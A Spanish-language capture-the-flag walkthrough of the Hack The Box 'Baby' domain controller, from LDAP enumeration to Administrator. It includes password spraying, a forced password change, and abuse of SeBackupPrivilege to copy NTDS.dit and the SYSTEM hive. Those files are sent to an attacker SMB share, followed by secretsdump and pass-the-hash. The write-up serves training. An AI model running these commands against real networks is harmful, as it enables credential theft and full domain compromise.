Baby
Info
Baby es una máquina de dificultad Easy de Hack The Box enfocada en entornos de Active Directory. La Cyber Kill Chain comienza con enumeración anónima por LDAP donde se filtran credenciales en el campo description de un usuario, seguido de password spraying y escalada de privilegios abusando de SeBackupPrivilege para volcar el NTDS.dit y obtener el hash NT del Administrador.
Nmap
Antes de comenzar verifico que el host se encuentre activo enviando una traza ICMP. Además, esto me permite obtener mediante el valor del TTL (time to live) una aproximación del sistema operativo que podría estar ejecutando el objetivo.
1
2
3
4
5
6
7
8
ping -c 1 10.129.234.71
PING 10.129.234.71 (10.129.234.71) 56(84) bytes of data.
64 bytes from 10.129.234.71: icmp_seq=1 ttl=127 time=119 ms
--- 10.129.234.71 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 119.177/119.177/119.177/0.000 ms
Un TTL cercano a 128 suele estar asociado a sistemas Windows. Sin embargo, este valor puede modificarse, por lo que NO debe considerarse un método definitivo para identificar el sistema operativo.
Una vez confirmada la conectividad con el host, realizo un escaneo completo de puertos utilizando nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.129.234.71 -oG allPorts
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
...SNIP...
Los puertos descubiertos apuntan claramente a un Windows Server con rol de Domain Controller: Kerberos (88), LDAP (389/636/3268/3269), SMB (445), RDP (3389) y WinRM (5985).
Parseo de puertos y detección de versiones
Para facilitar el siguiente escaneo, realizo un parseo con RegEx de los puertos abiertos y almaceno el resultado en la variable ports.
1
2
3
4
ports=$(cat allPorts | grep -oP '\d{1,5}(?=/open)' | xargs | tr ' ' ',')
# output
53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49669,53617,58281,58282,60499,60512
También se puede usar la función extractPorts que previamente debe ser añadida al archivo .zshrc o .bashrc.
A continuación realizo detección de servicios y versiones sobre los puertos identificados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
nmap -sCV -p$ports 10.129.234.71 -oN version
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-30 02:06:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: BABY
| NetBIOS_Domain_Name: BABY
| NetBIOS_Computer_Name: BABYDC
| DNS_Domain_Name: baby.vl
| DNS_Computer_Name: BabyDC.baby.vl
| DNS_Tree_Name: baby.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-05-30T02:07:35+00:00
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2026-05-29T01:40:03
|_Not valid after: 2026-11-28T01:40:03
|_ssl-date: 2026-05-30T02:08:14+00:00; -13s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
...SNIP...
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-30T02:07:35
|_ start_date: N/A
|_clock-skew: mean: -13s, deviation: 0s, median: -13s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
La firma SMB obligatoria indica que todas las comunicaciones SMB deben estar firmadas criptográficamente. Lo que descarta ataques de tipo SMB Relay (Responder + ntlmrelayx). Por lo que me enfocaré en enumeración SMB, LDAP y Kerberos.
Este escaneo revela información interesante:
- Hostname:
BABYDC - Dominio:
baby.vl - FQDN:
BABYDC.baby.vl - OS: Windows Server 2022 (Build 20348)
Configuración inicial de Kerberos
ntpdate
Al tratarse de un entorno de Active Directory, considero una buena práctica sincronizar mi equipo con el DC antes de continuar. Aunque en este caso la diferencia horaria es mínima (-13s), muchas técnicas basadas en Kerberos pueden fallar cuando existe un desfase significativo (mayor a 5 minutos) entre ambos sistemas.
1
sudo ntpdate 10.129.234.71
/etc/hosts
A continuación genero automáticamente las entradas DNS utilizando netexec asegurando la resolución DNS del dominio.
1
2
3
4
nxc smb 10.129.234.71 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts
10.129.234.71 BABYDC.baby.vl baby.vl BABYDC
Esto evitará problemas de resolución DNS durante la interacción con servicios que dependen de Kerberos.
SMB (Null Session)
SMB está limitado con null y Guest session, pero confirma lo ya visto con nmap.
1
2
3
4
nxc smb baby.vl -u "" -p "" --users
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [+] baby.vl\:
LDAP (Null Session)
Por otro lado, LDAP permite enumeración anónima exitosa, por lo que puedo realizar consultas directamente contra Active Directory sin necesidad de credenciales.
Obtener todos los objetos del dominio
1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=*)"
El output muestra todos los objetos accesibles, junto con sus atributos y propiedades.
La enumeración LDAP suele ser una de las fuentes más valiosas de información en Active Directory. Dependiendo de la configuración, puede exponer usuarios, grupos, descripciones e incluso credenciales almacenadas incorrectamente.
Obtener usuarios del dominio
Para reducir el ruido, filtro únicamente los objetos de tipo person y almaceno los usuarios encontrados en el archivo users.
1
2
3
4
5
6
7
8
9
10
11
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=person)" | grep sAMAccountName | awk 'NF{print $NF}' FS=': ' > users
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Obtener atributo description
Los administradores a veces dejan notas operativas, información sensible o contraseñas temporales en el campo description de los objetos de AD. Por eso es bueno revisar este atributo durante esta fase.
1
2
3
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=*)" | grep description | awk 'NF{print $NF}' FS=': '
Set initial password to BabyStart123!
Encuentro una contraseña: BabyStart123!, la almaceno en un archivo de passwords y sigo husmeando.
Obtener atributo distinguishedName
Para obtener una visión más completa de AD, enumero los atributos distinguishedName (DN).
1
2
3
4
5
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=*)" | grep dn | awk 'NF{print $NF}' FS=': '
CN=Administrator,CN=Users,DC=baby,DC=vl
CN=krbtgt,CN=Users,DC=baby,DC=vl
CN=Caroline Robinson,OU=it,DC=baby,DC=vl
El atributo distinguishedName identifica de forma única un objeto dentro de Active Directory y además revela su ubicación dentro de la estructura jerárquica del dominio.
Gracias a esta consulta encuentro usuarios que no aparecieron durante la enumeración anterior.
Siguiendo la convención de nombres del dominio (Name.Lastname), agrego estos usuarios al archivo users.
1
printf 'Administrator\nkrbtgt\nCaroline.Robinson' >> users
La lista final queda de la siguiente manera:
1
2
3
4
5
6
7
8
9
10
11
12
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Administrator
krbtgt
Caroline.Robinson
Con una lista más completa de usuarios y una posible contraseña encontrada durante la enumeración LDAP, el siguiente paso será validar las cuentas mediante Kerberos y comprobar si la contraseña identificada es reutilizada dentro del dominio.
Validación de usuarios con Kerbrute
Antes de hacer password spraying verifico qué usuarios son válidos en el dominio para evitar bloqueos de cuentas innecesarias. Utilizo Kerbrute, una herramienta que permite enumerar usuarios válidos aprovechando las respuestas del servicio Kerberos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/opt/kerbrute/kerbrute userenum --dc 10.129.234.71 -d baby.vl users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/29/26 - Ronnie Flathers @ropnop
2026/05/29 23:05:04 > Using KDC(s):
2026/05/29 23:05:04 > 10.129.234.71:88
2026/05/29 23:05:04 > [+] VALID USERNAME: Ashley.Webb@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Hugh.George@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Connor.Wilkinson@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Joseph.Hughes@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Jacqueline.Barnett@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Kerry.Wilson@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Teresa.Bell@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Leonard.Dyer@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Administrator@baby.vl
2026/05/29 23:05:04 > [+] VALID USERNAME: Caroline.Robinson@baby.vl
2026/05/29 23:05:04 > Done! Tested 12 usernames (10 valid) in 0.545 seconds
Todos los usuarios obtenidos (a excepción de krbtgt y Guest) previamente resultan ser válidos dentro del dominio.
Intento un ataque ASREPRoast, pero sin éxito. Dado que ya dispongo de una posible contraseña, el siguiente paso lógico es realizar Password Spraying.
Password Spraying SMB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nxc smb baby.vl -u users -p 'BabyStart123!'
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Administrator:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\krbtgt:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
Estado STATUS_PASSWORD_MUST_CHANGE: La contraseña es correcta para
Caroline.Robinson, pero la cuenta ha sido creada recientemente o está configurada con la opción “User must change password at next logon”, lo que obliga al usuario a renovar la contraseña antes de utilizar la cuenta normalmente.
Renovando la contraseña de Caroline
Para aprovechar esta situación utilizo impacket-changepasswd, que permite cambiar la contraseña incluso cuando la cuenta está marcada para renovación obligatoria.
1
2
3
4
5
6
7
8
9
impacket-changepasswd 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.234.71' -newpass 'n3wP4ss2026!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of baby.vl\Caroline.Robinson
[*] Connecting to DCE/RPC as baby.vl\Caroline.Robinson
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
Validación SMB y WinRM
Primero verifico las credenciales mediante SMB.
1
2
3
4
nxc smb baby.vl -u Caroline.Robinson -p 'n3wP4ss2026!'
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [+] baby.vl\Caroline.Robinson:n3wP4ss2026!
La autenticación es válida. Ahora verifico si la cuenta tiene acceso remoto mediante WinRM.
1
nxc winrm baby.vl -u Caroline.Robinson -p 'n3wP4ss2026!'
1
2
WINRM 10.129.234.71 5985 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\Caroline.Robinson:n3wP4ss2026! (Pwn3d!)
El resultado indica que el usuario pertenece al grupo Remote Management Users, por lo que puedo obtener una consola remota mediante WinRM.
user.txt
Con acceso interactivo al servidor, puedo obtener la primera flag.
1
2
3
4
5
6
7
8
9
10
11
evil-winrm-py -i baby.vl -u Caroline.Robinson -p 'n3wP4ss2026!'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson'
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> type ..\Desktop\user.txt
ba99f73c5769df40e4595f3939ae4644
El siguiente paso consiste en enumerar privilegios y buscar una vía de escalada hacia Administrator.
PrivEsc
Enumeración de privilegios
1
2
3
4
5
6
7
8
9
10
11
12
13
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Tengo el privilegio SeBackupPrivilege que por defecto es asignado a los usuarios que pertenezcan al grupo Backup Operators.
SeBackupPrivilege: Este privilegio permite leer cualquier archivo o directorio del sistema ignorando permisos NTFS. En un Domain Controller, esto permite acceder al
NTDS.dit. Con este archivo y el hiveSYSTEMse pueden dumpear los hashes NT de todos los usuarios del dominio.
Es por ello, que suele considerarse un privilegio con potencial de escalada.
Abusando de SeBackupPrivilege
Creando una shadow copy con diskshadow
NO se puede copiar NTDS.dit directamente mientras el servicio NTDS se está ejecutando.
La solución: usar Volume Shadow Copy (VSS) para crear una snapshot del disco y acceder a una copia del archivo.
Antes que nada crearé un directorio, donde almacenaré los archivos necesarios.
1
2
mkdir C:\Windows\Temp\privesc
cd C:\Windows\Temp\privesc
A continuación, desde mi máquina atacante crearé el script giveMeNTDS.dsh con el siguiente contenido.
1
2
3
4
5
6
cat << EOF > giveMeNTDS.dsh
set context persistent nowriters
add volume c: alias pwn
create
expose %pwn% z:
EOF
Este script creará una shadow copy del disco C: y la monta como unidad Z:.
Luego convertiré el archivo a formato DOS, requisito necesario para que herramientas de Windows como diskshadow.exe lo interpreten correctamente.
1
2
3
unix2dos giveMeNTDS.dsh
unix2dos: converting file giveMeNTDS.dsh to DOS format...
Levantaré un recurso SMB utilizando Impacket para transferir el archivo a la máquina víctima.
1
impacket-smbserver smbFolder $(pwd) -smb2support -debug
Desde la víctima copiaré el archivo al directorio de trabajo.
1
copy \\10.10.16.43\smbFolder\giveMeNTDS.dsh .\giveMeNTDS.dsh
Ahora, ejecutaré diskshadow indicando el script creado anteriormente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
diskshadow.exe /s giveMeNTDS.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 5/30/2026 4:50:58 AM
-> set context persistent nowriters
-> add volume c: alias pwn
-> create
Alias pwn for shadow ID {122f69c1-dfee-4d3c-ad67-4a77d95b499f} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {90acc5a7-7185-4283-b37b-e230e1bd08de} set as environment variable.
Querying all shadow copies with the shadow copy set ID {90acc5a7-7185-4283-b37b-e230e1bd08de}
* Shadow copy ID = {122f69c1-dfee-4d3c-ad67-4a77d95b499f} %pwn%
- Shadow copy set: {90acc5a7-7185-4283-b37b-e230e1bd08de} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
- Creation time: 5/30/2026 4:50:59 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- Originating machine: BabyDC.baby.vl
- Service machine: BabyDC.baby.vl
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %pwn% z:
-> %pwn% = {122f69c1-dfee-4d3c-ad67-4a77d95b499f}
The shadow copy was successfully exposed as z:\.
->
La salida confirma que el snapshot fue creado correctamente y expuesto como la unidad Z:.
Copiando NTDS.dit con robocopy (modo backup)
Una vez disponible la shadow copy, utilizaré robocopy en modo backup (/b) para copiar NTDS.dit desde la instantánea hacia mi directorio actual de trabajo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
robocopy /b z:\windows\ntds . ntds.dit
...SNIP...
100%
100%
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 356,962,042 Bytes/sec.
Speed : 20,425.531 MegaBytes/min.
Ended : Saturday, May 30, 2026 4:55:30 AM
Tras completarse la copia, verifico que el archivo se encuentre en mi directorio de trabajo.
1
2
3
4
5
6
7
8
9
dir
Directory: C:\Windows\Temp\privesc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/30/2026 4:49 AM 84 giveMeNTDS.dsh
-a---- 5/30/2026 1:39 AM 16777216 ntds.dit
Copiando el HIVE SYSTEM
Además de NTDS.dit, necesito una copia del hive SYSTEM. Para ello utilizaré reg save.
1
2
3
reg save HKLM\SYSTEM C:\Windows\Temp\privesc\SYSTEM
The operation completed successfully.
Ahora transferiré ambos archivos a mi máquina atacante utilizando el mismo recurso SMB.
1
2
copy .\ntds.dit \\10.10.17.54\smbFolder\ntds.dit
copy .\SYSTEM \\10.10.17.54\smbFolder\SYSTEM
Una vez transferidos, verificaré su integridad calculando el hash MD5 de cada archivo.
1
2
3
4
5
Get-FileHash -Algorithm MD5 SYSTEM | select Hash
Hash
----
F8B37CF8E6253D61E2D2EFEE7BD23DF3
Ahora verifico el hash del archivo en mi máquina
1
2
3
md5sum SYSTEM
f8b37cf8e6253d61e2d2efee7bd23df3 SYSTEM
Los hashes coinciden, confirmando que la transferencia se realizó correctamente. Repito el mismo procedimiento para ntds.dit, obteniendo igualmente resultados idénticos.
Dumping NTDS.dit
Con ambos archivos en mi máquina atacante, utilizaré secretsdump para extraer los hashes NT almacenados en ntds.dit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
...SNIP...
De la salida anterior obtengo el hash NT del usuario Administrator:
root.txt
Con el hash NT del usuario Administrator, puedo autenticarme mediante Pass-the-Hash a través de WinRM sin necesidad de conocer la contraseña en texto claro.
1
2
3
4
5
6
7
8
9
10
11
evil-winrm-py -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'baby.vl:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
5787571a223e9d7776de5b4e4d7d1e1f
Obtengo acceso como Administrator y puedo leer la última flag.
